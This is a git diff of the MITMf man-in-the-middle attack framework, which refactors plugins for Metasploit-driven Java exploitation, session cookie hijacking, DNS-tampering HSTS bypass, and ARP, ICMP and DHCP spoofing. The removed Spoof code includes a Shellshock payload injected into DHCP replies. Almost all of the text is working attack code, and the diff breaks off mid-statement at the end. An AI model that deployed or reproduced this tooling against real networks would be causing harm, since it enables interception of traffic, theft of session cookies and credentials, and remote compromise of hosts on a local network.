Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + """ BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something' diff --git a/plugins/Inject.py b/plugins/Inject.py index 23deaa2..17ce915 100644 --- a/plugins/Inject.py +++ b/plugins/Inject.py @@ -1,3 +1,23 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + import logging logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy from scapy.all import get_if_addr diff --git a/plugins/JavaPwn.py b/plugins/JavaPwn.py index b1ff1ad..7efa59e 100644 --- a/plugins/JavaPwn.py +++ b/plugins/JavaPwn.py @@ -1,12 +1,34 @@ -from plugins.plugin import Plugin -from plugins.BrowserProfiler import BrowserProfiler -from time import sleep -import libs.msfrpc as msfrpc +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import core.msfrpc as msfrpc import string import random import threading import sys import logging + +from plugins.plugin import Plugin +from plugins.BrowserProfiler import BrowserProfiler +from time import sleep + logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy from scapy.all import get_if_addr @@ -67,7 +89,7 @@ class JavaPwn(BrowserProfiler, Plugin): client_vstring = java_version[:-len(java_version.split('.')[3])-1] client_uversion = int(java_version.split('.')[3]) - for ver in self.javacfg['Multi'].items(): + for ver in self.javacfg['Multi'].iteritems(): if type(ver[1]) is list: for list_vers in ver[1]: @@ -108,7 +130,7 @@ class JavaPwn(BrowserProfiler, Plugin): break shell = msfinstance.call('session.list') #poll metasploit every 2 seconds for new sessions if len(shell) > 0: - for k, v in shell.items(): + for k, v in shell.iteritems(): if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted logging.info("%s >> Got shell!" % client_ip) self.sploited_ips.append(client_ip) #target successfuly exploited :) @@ -165,7 +187,7 @@ class JavaPwn(BrowserProfiler, Plugin): #here we check to see if we already set up the exploit to avoid creating new jobs for no reason jobs = msf.call('job.list') #get running jobs if len(jobs) > 0: - for k, v in jobs.items(): + for k, v in jobs.iteritems(): info = msf.call('job.info', [k]) if exploit in info['name']: logging.info('%s >> %s already started' % (vic_ip, exploit)) @@ -196,6 +218,7 @@ class JavaPwn(BrowserProfiler, Plugin): logging.info("%s >> falling back to the signed applet attack" % vic_ip) rand_url = self.rand_url() + rand_port = random.randint(1000, 65535) cmd = "use exploit/multi/browser/java_signed_applet\n" cmd += "set SRVPORT %s\n" % self.msfport @@ -217,7 +240,7 @@ class JavaPwn(BrowserProfiler, Plugin): jobs = msf.call('job.list') if len(jobs) > 0: print '\n[*] Stopping all running metasploit jobs' - for k, v in jobs.items(): + for k, v in jobs.iteritems(): msf.call('job.stop', [k]) consoles = msf.call('console.list')['consoles'] diff --git a/plugins/JsKeylogger.py b/plugins/JsKeylogger.py index 556a754..595c160 100644 --- a/plugins/JsKeylogger.py +++ b/plugins/JsKeylogger.py @@ -1,3 +1,23 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + from plugins.plugin import Plugin from plugins.Inject import Inject import logging diff --git a/plugins/Replace.py b/plugins/Replace.py index a55e2db..dc7e8e6 100644 --- a/plugins/Replace.py +++ b/plugins/Replace.py @@ -1,3 +1,23 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + """ Plugin by @rubenthijssen """ diff --git a/plugins/Responder.py b/plugins/Responder.py index 9acde6e..5b45825 100644 --- a/plugins/Responder.py +++ b/plugins/Responder.py @@ -1,11 +1,32 @@ -from plugins.plugin import Plugin -from libs.responder.Responder import start_responder -from libs.sslstrip.DnsCache import DnsCache -from twisted.internet import reactor +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + import sys import os import threading +from plugins.plugin import Plugin +from libs.responder.Responder import start_responder +from core.sslstrip.DnsCache import DnsCache +from twisted.internet import reactor + class Responder(Plugin): name = "Responder" optname = "responder" diff --git a/plugins/SMBAuth.py b/plugins/SMBAuth.py index 0e7a2d3..7b3be66 100644 --- a/plugins/SMBAuth.py +++ b/plugins/SMBAuth.py @@ -1,3 +1,23 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + from plugins.plugin import Plugin from plugins.Inject import Inject import sys @@ -15,10 +35,11 @@ class SMBAuth(Inject, Plugin): def initialize(self, options): Inject.initialize(self, options) self.target_ip = options.host - self.html_payload = self._get_data() if not self.target_ip: self.target_ip = options.ip_address + + self.html_payload = self._get_data() def add_options(self, options): options.add_argument("--host", type=str, default=None, help="The ip address of your capture server [default: interface IP]") diff --git a/plugins/SSLstrip+.py b/plugins/SSLstrip+.py index 55561e8..5859086 100644 --- a/plugins/SSLstrip+.py +++ b/plugins/SSLstrip+.py @@ -1,23 +1,133 @@ -from plugins.plugin import Plugin -from libs.sslstrip.URLMonitor import URLMonitor +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + import sys +import dns.resolver +import logging + +from plugins.plugin import Plugin +from core.utils import SystemConfig +from core.sslstrip.URLMonitor import URLMonitor +from core.wrappers.nfqueue import Nfqueue + +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy +from scapy.all import * class HSTSbypass(Plugin): name = 'SSLstrip+' optname = 'hsts' desc = 'Enables SSLstrip+ for partial HSTS bypass' - version = "0.2" + version = "0.3" has_opts = False - req_root = False + req_root = True def initialize(self, options): self.options = options + self.manualiptables = options.manualiptables try: config = options.configfile['SSLstrip+'] except Exception, e: sys.exit("[-] Error parsing config for SSLstrip+: " + str(e)) + if not options.manualiptables: + SystemConfig.iptables.DNS(1) + + self.dns = DNSmirror(1) + self.dns.hstscfg = config + self.dns.start() + print "| |_ SSLstrip+ by Leonardo Nve running" URLMonitor.getInstance().setHstsBypass(config) + + def finish(self): + self.dns.stop() + + if not self.manualiptables: + SystemConfig.iptables.Flush() + +class DNSmirror(Nfqueue): + + hstscfg = None + + def callback(self, payload): + try: + #logging.debug(payload) + pkt = IP(payload.get_payload()) + + if not pkt.haslayer(DNSQR): + payload.accept() + + if (pkt[DNSQR].qtype is 28 or pkt[DNSQR].qtype is 1): + for k,v in self.hstscfg.iteritems(): + if v == pkt[DNSQR].qname[:-1]: + ip = self.resolve_domain(k) + if ip: + self.modify_dns(payload, pkt, ip) + return + + if 'wwww' in pkt[DNSQR].qname: + ip = self.resolve_domain(pkt[DNSQR].qname[1:-1]) + if ip: + self.modify_dns(payload, pkt, ip) + return + + if 'web' in pkt[DNSQR].qname: + ip = self.resolve_domain(pkt[DNSQR].qname[3:-1]) + if ip: + self.modify_dns(payload, pkt, ip) + return + + payload.accept() + + except Exception, e: + print "Exception occurred in nfqueue callback: " + str(e) + + def modify_dns(self, payload, pkt, ip): + try: + mpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\ + UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\ + DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd) + + mpkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field + for i in ip: + mpkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i)) + + logging.info("%s Resolving %s for HSTS bypass (DNS)" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) + payload.set_payload(str(mpkt)) + payload.accept() + + except Exception, e: + print "Exception occurred while modifying DNS: " + str(e) + + def resolve_domain(self, domain): + try: + logging.debug("Resolving -> %s" % domain) + answer = dns.resolver.query(domain, 'A') + real_ips = [] + for rdata in answer: + real_ips.append(rdata.address) + + if len(real_ips) > 0: + return real_ips + + except Exception: + logging.info("Error resolving " + domain) diff --git a/plugins/SessionHijacker.py b/plugins/SessionHijacker.py index 8431e80..d8b31a6 100644 --- a/plugins/SessionHijacker.py +++ b/plugins/SessionHijacker.py @@ -1,7 +1,27 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + #Almost all of the Firefox related code was stolen from Firelamb https://github.com/sensepost/mana/tree/master/firelamb from plugins.plugin import Plugin -from libs.publicsuffix import PublicSuffixList +from core.publicsuffix.publicsuffix import PublicSuffixList from urlparse import urlparse import threading import os @@ -55,8 +75,6 @@ class SessionHijacker(Plugin): client_ip = request.getClientIP() if 'cookie' in headers: - - logging.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie'])) if self.firefox: url = "http://" + headers['host'] + request.getPathFromUri() @@ -66,9 +84,21 @@ class SessionHijacker(Plugin): cvalue = str(cookie)[eq+1:].strip() self.firefoxdb(headers['host'], cname, cvalue, url, client_ip) + logging.info("%s << Inserted cookie into firefox db" % client_ip) + if self.mallory: - self.sessions.append((headers['host'], headers['cookie'])) - logging.info("%s Sent cookie to browser extension" % client_ip) + if len(self.sessions) > 0: + temp = [] + for session in self.sessions: + temp.append(session[0]) + if headers['host'] not in temp: + self.sessions.append((headers['host'], headers['cookie'])) + logging.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie'])) + logging.info("%s Sent cookie to browser extension" % client_ip) + else: + self.sessions.append((headers['host'], headers['cookie'])) + logging.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie'])) + logging.info("%s Sent cookie to browser extension" % client_ip) #def handleHeader(self, request, key, value): # Server => Client # if 'set-cookie' in request.client.headers: @@ -146,7 +176,6 @@ class SessionHijacker(Plugin): expire_date = 2000000000 #Year2033 now = int(time.time()) - 600 self.sql_conns[ip].execute('INSERT OR IGNORE INTO moz_cookies (baseDomain, name, value, host, path, expiry, lastAccessed, creationTime, isSecure, isHttpOnly) VALUES (?,?,?,?,?,?,?,?,?,?)', (basedomain,cookie_name,cookie_value,address,'/',expire_date,now,now,0,0)) - logging.info("%s << Inserted cookie into firefox db" % ip) def add_options(self, options): options.add_argument('--firefox', dest='firefox', action='store_true', default=False, help='Create a firefox profile with captured cookies') diff --git a/plugins/Sniffer.py b/plugins/Sniffer.py index 778c9d9..ccffeb5 100644 --- a/plugins/Sniffer.py +++ b/plugins/Sniffer.py @@ -1,3 +1,23 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + #This is a MITMf port of net-creds https://github.com/DanMcInerney/net-creds from plugins.plugin import Plugin diff --git a/plugins/Spoof.py b/plugins/Spoof.py index bb8d434..5a3ab64 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -1,25 +1,40 @@ -import dns.resolver +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + import logging -import os import sys -import threading -import binascii -import random + +from core.utils import SystemConfig +from core.sslstrip.DnsCache import DnsCache +from core.wrappers.protocols import _ARP, _DHCP, _ICMP +from core.wrappers.nfqueue import Nfqueue +from plugins.plugin import Plugin logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy from scapy.all import * -from netfilterqueue import NetfilterQueue -from libs.sslstrip.DnsCache import DnsCache -from plugins.plugin import Plugin -from time import sleep -from base64 import b64decode -from urllib import unquote class Spoof(Plugin): name = "Spoof" optname = "spoof" desc = "Redirect/Modify traffic using ICMP, ARP or DHCP" - version = "0.4" + version = "0.5" has_opts = True req_root = True @@ -28,63 +43,49 @@ class Spoof(Plugin): self.options = options self.dnscfg = options.configfile['Spoof']['DNS'] self.dhcpcfg = options.configfile['Spoof']['DHCP'] - self.hstscfg = options.configfile['SSLstrip+'] self.target = options.target self.manualiptables = options.manualiptables - + self.protocolInstances = [] + #Makes scapy more verbose debug = False - if self.options.log_level is 'debug': + if options.log_level is 'debug': debug = True - self.sysconfig = SystemConfig(options.listen) - if options.arp: + if not options.gateway: sys.exit("[-] --arp argument requires --gateway") - self.sysconfig.set_forwarding(1) - - if not options.manualiptables: - self.sysconfig.iptables_flush() - self.sysconfig.iptables_http() + arp = _ARP(options.gateway, options.interface, options.mac_address) + arp.target = options.target + arp.arpmode = options.arpmode + arp.debug = debug - self.arp = _ARP(options.gateway, options.interface, options.mac_address) - self.arp.target = options.target - self.arp.arpmode = options.arpmode - self.arp.debug = debug - self.arp.start() + self.protocolInstances.append(arp) elif options.icmp: + if not options.gateway: sys.exit("[-] --icmp argument requires --gateway") + if not options.target: sys.exit("[-] --icmp argument requires --target") - self.sysconfig.set_forwarding(1) - - if not options.manualiptables: - self.sysconfig.iptables_flush() - self.sysconfig.iptables_http() + icmp = _ICMP(options.interface, options.target, options.gateway, options.ip_address) + icmp.debug = debug - self.icmp = _ICMP(options.interface, options.target, options.gateway, options.ip_address) - self.icmp.debug = debug - self.icmp.start() + self.protocolInstances.append(icmp) elif options.dhcp: + if options.target: sys.exit("[-] --target argument invalid when DCHP spoofing") - self.sysconfig.set_forwarding(1) - - if not options.manualiptables: - self.sysconfig.iptables_flush() - self.sysconfig.iptables_http() - - self.dhcp = _DHCP(options.interface, self.dhcpcfg, options.ip_address, options.mac_address) - self.dhcp.shellshock = options.shellshock - self.dhcp.debug = debug - self.dhcp.start() + dhcp = _DHCP(options.interface, self.dhcpcfg, options.ip_address, options.mac_address) + dhcp.shellshock = options.shellshock + dhcp.debug = debug + self.protocolInstances.append(dhcp) else: sys.exit("[-] Spoof plugin requires --arp, --icmp or --dhcp") @@ -92,27 +93,26 @@ class Spoof(Plugin): if options.dns: if not options.manualiptables: - self.sysconfig.iptables_dns(0) + SystemConfig.iptables.DNS(0) dnscache = DnsCache.getInstance() - for domain, ip in self.dnscfg.items(): + for domain, ip in self.dnscfg.iteritems(): dnscache.cacheResolution(domain, ip) - self.dns = _DNS(0) - self.dns.dnscfg = self.dnscfg - self.dns.dns = True - self.dns.start() + dns = DNStamper(0) + dns.dnscfg = self.dnscfg - if options.hsts: + self.protocolInstances.append(dns) - if not options.manualiptables: - self.sysconfig.iptables_dns(1) - self.dns_hsts = _DNS(1) - self.dns_hsts.hstscfg = self.hstscfg - self.dns_hsts.hsts = True - self.dns_hsts.start() + SystemConfig.setIpForwarding(1) + + if not options.manualiptables: + SystemConfig.iptables.HTTP(options.listen) + + for protocol in self.protocolInstances: + protocol.start() def add_options(self, options): group = options.add_mutually_exclusive_group(required=False) @@ -126,300 +126,23 @@ class Spoof(Plugin): options.add_argument('--arpmode',type=str, dest='arpmode', default='req', choices=["req", "rep"], help=' ARP Spoofing mode: requests (req) or replies (rep) [default: req]') #options.add_argument('--summary', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning') - #added by alexander.georgiev@daloo.de - options.add_argument('--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically') - def finish(self): - if self.options.arp: - self.arp.stop() - sleep(3) - - self.arp.arp_inter = 1 - if self.target: - print "\n[*] Re-ARPing target" - self.arp.reARP_target(5) - - print "\n[*] Re-ARPing network" - self.arp.reARP_net(5) - - elif self.options.icmp: - self.icmp.stop() - sleep(3) - - if self.options.dns: - self.dns.stop() - - if self.options.hsts: - self.dns_hsts.stop() + for protocol in self.protocolInstances: + protocol.stop() if not self.manualiptables: - self.sysconfig.iptables_flush() + SystemConfig.iptables.Flush() - self.sysconfig.set_forwarding(0) + SystemConfig.setIpForwarding(0) -class SystemConfig(): - def __init__(self, http_redir_port): +class DNStamper(Nfqueue): - self.http_redir_port = http_redir_port + dnscfg = None - def set_forwarding(self, value): - with open('/proc/sys/net/ipv4/ip_forward', 'w') as file: - file.write(str(value)) - file.close() - - def iptables_flush(self): - os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X') - - def iptables_http(self): - os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % self.http_redir_port) - - def iptables_dns(self, queue_number): - os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num %s' % queue_number) - -class _DHCP(): - - def __init__(self, interface, dhcpcfg, ip, mac): - self.interface = interface - self.ip_address = ip - self.mac_address = mac - self.shellshock = None - self.debug = False - self.dhcpcfg = dhcpcfg - self.rand_number = [] - self.dhcp_dic = {} - - def start(self): - t = threading.Thread(name="dhcp_spoof", target=self.dhcp_sniff, args=(self.interface,)) - t.setDaemon(True) - t.start() - - def dhcp_sniff(self, interface): - sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=interface) - - def dhcp_rand_ip(self): - pool = self.dhcpcfg['ip_pool'].split('-') - trunc_ip = pool[0].split('.'); del(trunc_ip[3]) - max_range = int(pool[1]) - min_range = int(pool[0].split('.')[3]) - number_range = range(min_range, max_range) - for n in number_range: - if n in self.rand_number: - number_range.remove(n) - rand_number = random.choice(number_range) - self.rand_number.append(rand_number) - rand_ip = '.'.join(trunc_ip) + '.' + str(rand_number) - - return rand_ip - - def dhcp_callback(self, resp): - if resp.haslayer(DHCP): - xid = resp[BOOTP].xid - mac_addr = resp[Ether].src - raw_mac = binascii.unhexlify(mac_addr.replace(":", "")) - if xid in self.dhcp_dic.keys(): - client_ip = self.dhcp_dic[xid] - else: - client_ip = self.dhcp_rand_ip() - self.dhcp_dic[xid] = client_ip - - if resp[DHCP].options[0][1] is 1: - logging.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid)) - logging.info("Sending DHCP OFFER") - packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') / - IP(src=self.ip_address, dst='255.255.255.255') / - UDP(sport=67, dport=68) / - BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) / - DHCP(options=[("message-type", "offer"), - ('server_id', self.ip_address), - ('subnet_mask', self.dhcpcfg['subnet']), - ('router', self.ip_address), - ('lease_time', 172800), - ('renewal_time', 86400), - ('rebinding_time', 138240), - "end"])) - - try: - packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server']))) - except KeyError: - pass - - sendp(packet, iface=self.interface, verbose=self.debug) - - if resp[DHCP].options[0][1] is 3: - logging.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid)) - packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') / - IP(src=self.ip_address, dst='255.255.255.255') / - UDP(sport=67, dport=68) / - BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) / - DHCP(options=[("message-type", "ack"), - ('server_id', self.ip_address), - ('subnet_mask', self.dhcpcfg['subnet']), - ('router', self.ip_address), - ('lease_time', 172800), - ('renewal_time', 86400), - ('rebinding_time', 138240)])) - - try: - packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server']))) - except KeyError: - pass - - if self.shellshock: - logging.info("Sending DHCP ACK with shellshock payload") - packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock))) - packet[DHCP].options.append("end") - else: - logging.info("Sending DHCP ACK") - packet[DHCP].options.append("end") - - sendp(packet, iface=self.interface, verbose=self.debug) - -class _ICMP(): - - def __init__(self, interface, target, gateway, ip_address): - - self.target = target - self.gateway = gateway - self.interface = interface - self.ip_address = ip_address - self.debug = False - self.send = True - self.icmp_interval = 2 - - def build_icmp(self): - pkt = IP(src=self.gateway, dst=self.target)/ICMP(type=5, code=1, gw=self.ip_address) /\ - IP(src=self.target, dst=self.gateway)/UDP() - - return pkt - - def start(self): - pkt = self.build_icmp() - - t = threading.Thread(name='icmp_spoof', target=self.send_icmps, args=(pkt, self.interface, self.debug,)) - t.setDaemon(True) - t.start() - - def stop(self): - self.send = False - - def send_icmps(self, pkt, interface, debug): - while self.send: - sendp(pkt, inter=self.icmp_interval, iface=interface, verbose=debug) - -class _ARP(): - - def __init__(self, gateway, interface, mac): - - self.gateway = gateway - self.gatewaymac = getmacbyip(gateway) - self.mac = mac - self.target = None - self.targetmac = None - self.interface = interface - self.arpmode = 'req' - self.debug = False - self.send = True - self.arp_inter = 3 - - def start(self): - if self.gatewaymac is None: - sys.exit("[-] Error: Could not resolve gateway's MAC address") - - if self.target: - self.targetmac = getmacbyip(self.target) - if self.targetmac is None: - sys.exit("[-] Error: Could not resolve target's MAC address") - - if self.arpmode == 'req': - pkt = self.build_arp_req() - - elif self.arpmode == 'rep': - pkt = self.build_arp_rep() - - t = threading.Thread(name='arp_spoof', target=self.send_arps, args=(pkt, self.interface, self.debug,)) - t.setDaemon(True) - t.start() - - def send_arps(self, pkt, interface, debug): - while self.send: - sendp(pkt, inter=self.arp_inter, iface=interface, verbose=debug) - - def stop(self): - self.send = False - - def build_arp_req(self): - if self.target is None: - pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, pdst=self.gateway) - elif self.target: - pkt = Ether(src=self.mac, dst=self.targetmac)/\ - ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=self.targetmac, pdst=self.target) - - return pkt - - def build_arp_rep(self): - if self.target is None: - pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, op=2) - elif self.target: - pkt = Ether(src=self.mac, dst=self.targetmac)/\ - ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=self.targetmac, pdst=self.target, op=2) - - return pkt - - def reARP_net(self, count): - pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/\ - ARP(psrc=self.gateway, hwsrc=self.gatewaymac, op=2) - - sendp(pkt, inter=self.arp_inter, count=count, iface=self.interface) - - def reARP_target(self, count): - pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/\ - ARP(psrc=self.target, hwsrc=self.targetmac, op=2) - - sendp(pkt, inter=self.arp_inter, count=count, iface=self.interface) - -class _DNS(): - - def __init__(self, queue_number): - self.hsts = False - self.dns = False - self.dnscfg = None - self.hstscfg = None - self.queue_number = queue_number - self.nfqueue = NetfilterQueue() - - def start(self): - t = threading.Thread(name='dns_nfqueue', target=self.nfqueue_bind, args=()) - t.setDaemon(True) - t.start() - - def nfqueue_bind(self): - self.nfqueue.bind(self.queue_number, self.nfqueue_callback) - self.nfqueue.run() - - def stop(self): + def callback(self, payload): try: - self.nfqueue.unbind() - except: - pass - - def resolve_domain(self, domain): - try: - logging.debug("Resolving -> %s" % domain) - answer = dns.resolver.query(domain, 'A') - real_ips = [] - for rdata in answer: - real_ips.append(rdata.address) - - if len(real_ips) > 0: - return real_ips - - except Exception: - logging.info("Error resolving " + domain) - - def nfqueue_callback(self, payload): - try: - #logging.debug(payload) + logging.debug(payload) pkt = IP(payload.get_payload()) if not pkt.haslayer(DNSQR): @@ -427,59 +150,28 @@ class _DNS(): if pkt.haslayer(DNSQR): logging.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype)) - if self.dns: - for k, v in self.dnscfg.items(): - if k in pkt[DNSQR].qname: - self.modify_dns(payload, pkt, v) - return + for k, v in self.dnscfg.iteritems(): + if k == pkt[DNSQR].qname[:-1]: + self.modify_dns(payload, pkt, v) + return - payload.accept() - - elif self.hsts: - if (pkt[DNSQR].qtype is 28 or pkt[DNSQR].qtype is 1): - for k,v in self.hstscfg.items(): - if v == pkt[DNSQR].qname[:-1]: - ip = self.resolve_domain(k) - if ip: - self.modify_dns(payload, pkt, ip) - return - - if 'wwww' in pkt[DNSQR].qname: - ip = self.resolve_domain(pkt[DNSQR].qname[1:-1]) - if ip: - self.modify_dns(payload, pkt, ip) - return - - if 'web' in pkt[DNSQR].qname: - ip = self.resolve_domain(pkt[DNSQR].qname[3:-1]) - if ip: - self.modify_dns(payload, pkt, ip) - return - - payload.accept() + payload.accept() except Exception, e: print "Exception occurred in nfqueue callback: " + str(e) def modify_dns(self, payload, pkt, ip): try: - spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\ + + mpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\ UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\ DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd) - if self.hsts: - spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field - for i in ip: - spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i)) - logging.info("%s Resolving %s for HSTS bypass (DNS)" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) - payload.set_payload(str(spoofed_pkt)) - payload.accept() - - if self.dns: - spoofed_pkt[DNS].an = 